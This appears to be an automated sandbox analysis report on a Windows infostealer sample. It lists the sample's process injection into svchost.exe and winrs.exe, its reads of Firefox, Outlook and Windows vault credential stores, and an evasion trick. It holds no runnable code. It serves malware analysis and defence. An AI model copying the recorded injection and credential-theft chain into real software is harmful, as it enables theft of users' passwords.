Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024C65B0	8_2_024C65B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_024C65B3	8_2_024C65B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC02C0	8_2_02FC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0274	8_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_030003E6	8_2_030003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4E3F0	8_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFA352	8_2_02FFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_030001AA	8_2_030001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD2000	8_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF81CC	8_2_02FF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF41A2	8_2_02FF41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC8158	8_2_02FC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDA118	8_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F30100	8_2_02F30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F5C6E0	8_2_02F5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3C7C0	8_2_02F3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F64750	8_2_02F64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FEE4F6	8_2_02FEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03000591	8_2_03000591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF2446	8_2_02FF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE4420	8_2_02FE4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40535	8_2_02F40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3EA80	8_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF6BD7	8_2_02FF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFAB40	8_2_02FFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6E8F0	8_2_02F6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F268B8	8_2_02F268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0300A9A6	8_2_0300A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4A840	8_2_02F4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F42840	8_2_02F42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F429A0	8_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F56962	8_2_02F56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFEEDB	8_2_02FFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F52E90	8_2_02F52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFCE93	8_2_02FFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40E59	8_2_02F40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFEE26	8_2_02FFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4CFE0	8_2_02F4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F32FC8	8_2_02F32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FBEFA0	8_2_02FBEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB4F40	8_2_02FB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F60F30	8_2_02F60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE2F30	8_2_02FE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F82F28	8_2_02F82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F30CF2	8_2_02F30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE0CB5	8_2_02FE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40C00	8_2_02F40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3ADE0	8_2_02F3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F58DBF	8_2_02F58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDCD1F	8_2_02FDCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4AD00	8_2_02F4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE12ED	8_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F5B2C0	8_2_02F5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F452A0	8_2_02F452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F8739A	8_2_02F8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2D34C	8_2_02F2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF132D	8_2_02FF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF70E9	8_2_02FF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFF0E0	8_2_02FFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FEF0CC	8_2_02FEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F470C0	8_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0300B16B	8_2_0300B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4B1B0	8_2_02F4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2F172	8_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F7516C	8_2_02F7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF16CC	8_2_02FF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F317EC	8_2_02F317EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFF7B0	8_2_02FFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F31460	8_2_02F31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFF43F	8_2_02FFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDD5B0	8_2_02FDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF7571	8_2_02FF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FEDAC6	8_2_02FEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDDAAC	8_2_02FDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F85AA0	8_2_02F85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE1AA3	8_2_02FE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB3A6C	8_2_02FB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFFA49	8_2_02FFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF7A46	8_2_02FF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB5BF0	8_2_02FB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F7DBF9	8_2_02F7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F5FB80	8_2_02F5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFFB76	8_2_02FFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F438E0	8_2_02F438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FAD800	8_2_02FAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F49950	8_2_02F49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F5B950	8_2_02F5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD5910	8_2_02FD5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F49EB0	8_2_02F49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFFFB1	8_2_02FFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F41F92	8_2_02F41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFFF09	8_2_02FFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFFCF2	8_2_02FFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB9C32	8_2_02FB9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F5FDC0	8_2_02F5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF7D73	8_2_02FF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF1D5A	8_2_02FF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F43D40	8_2_02F43D40
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AAB408	9_2_04AAB408
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04ACBE88	9_2_04ACBE88
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AA1751	9_2_04AA1751
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AAD0AF	9_2_04AAD0AF
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AAD0B8	9_2_04AAD0B8
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AB5838	9_2_04AB5838
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AAB2B8	9_2_04AAB2B8
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AAD2D8	9_2_04AAD2D8
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AB3A38	9_2_04AB3A38
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AB3A35	9_2_04AB3A35
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_04AAB3FE	9_2_04AAB3FE
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_080A2008	9_2_080A2008
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_080A2005	9_2_080A2005
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_08099888	9_2_08099888
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_0809B8A8	9_2_0809B8A8
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_080999CE	9_2_080999CE
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_080999D8	9_2_080999D8
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_080BA458	9_2_080BA458
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_0808FD21	9_2_0808FD21
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_080A3E08	9_2_080A3E08
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_0809B67F	9_2_0809B67F
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_0809B688	9_2_0809B688
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 9_2_080A0758	9_2_080A0758

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F87E54 appears 100 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02FAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02FBF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F75130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F2B970 appears 283 times
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: String function: 00916AC0 appears 42 times
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: String function: 0091F8A0 appears 35 times
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: String function: 0090EC2F appears 68 times

Source: A2028041200SD.exe, 00000000.00000003.1284104843.0000000003673000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs A2028041200SD.exe
Source: A2028041200SD.exe, 00000000.00000003.1286483854.000000000386D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs A2028041200SD.exe

Source: A2028041200SD.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/3@14/11

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0093CE7A GetLastError,FormatMessageW,

0_2_0093CE7A

Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0092AB84 AdjustTokenPrivileges,CloseHandle,		0_2_0092AB84
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0092B134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_0092B134

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0093E1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_0093E1FD

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_00936532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,

0_2_00936532

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0094C18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,

0_2_0094C18C

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_008F406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_008F406B

Source: C:\Users\user\Desktop\A2028041200SD.exe

File created: C:\Users\user\AppData\Local\Temp\aut5BF2.tmp

Source: A2028041200SD.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\A2028041200SD.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: winrs.exe, 0000000A.00000003.1579586366.0000000000887000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000002.3122304267.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000002.3122304267.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000003.1579586366.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000002.3122304267.00000000008B3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: A2028041200SD.exe

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Users\user\Desktop\A2028041200SD.exe "C:\Users\user\Desktop\A2028041200SD.exe"
Source: C:\Users\user\Desktop\A2028041200SD.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\A2028041200SD.exe"
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Process created: C:\Windows\SysWOW64\winrs.exe "C:\Windows\SysWOW64\winrs.exe"
Source: C:\Windows\SysWOW64\winrs.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\A2028041200SD.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\A2028041200SD.exe"	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Process created: C:\Windows\SysWOW64\winrs.exe "C:\Windows\SysWOW64\winrs.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Windows\SysWOW64\winrs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: C:\Windows\SysWOW64\winrs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: A2028041200SD.exe

Static file information: File size 1214464 > 1048576

Source: A2028041200SD.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: A2028041200SD.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: A2028041200SD.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: A2028041200SD.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: A2028041200SD.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: A2028041200SD.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: A2028041200SD.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: winrs.pdbGCTL source: svchost.exe, 00000008.00000003.1356648780.0000000002824000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1356563813.000000000281B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1356633765.000000000281A000.00000004.00000020.00020000.00000000.sdmp, zJGHFZpQDL.exe, 00000009.00000003.1465092401.0000000000EBF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: zJGHFZpQDL.exe, 00000009.00000002.3122329722.0000000000A8E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: A2028041200SD.exe, 00000000.00000003.1283531173.0000000003550000.00000004.00001000.00020000.00000000.sdmp, A2028041200SD.exe, 00000000.00000003.1285810002.0000000003740000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1391439293.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1391439293.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1288833673.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1290791645.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125013421.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, winrs.exe, 0000000A.00000003.1394010925.0000000002C5A000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000003.1391554853.0000000002A72000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125013421.0000000002F9E000.00000040.00001000.00020000.00000000.sdmp
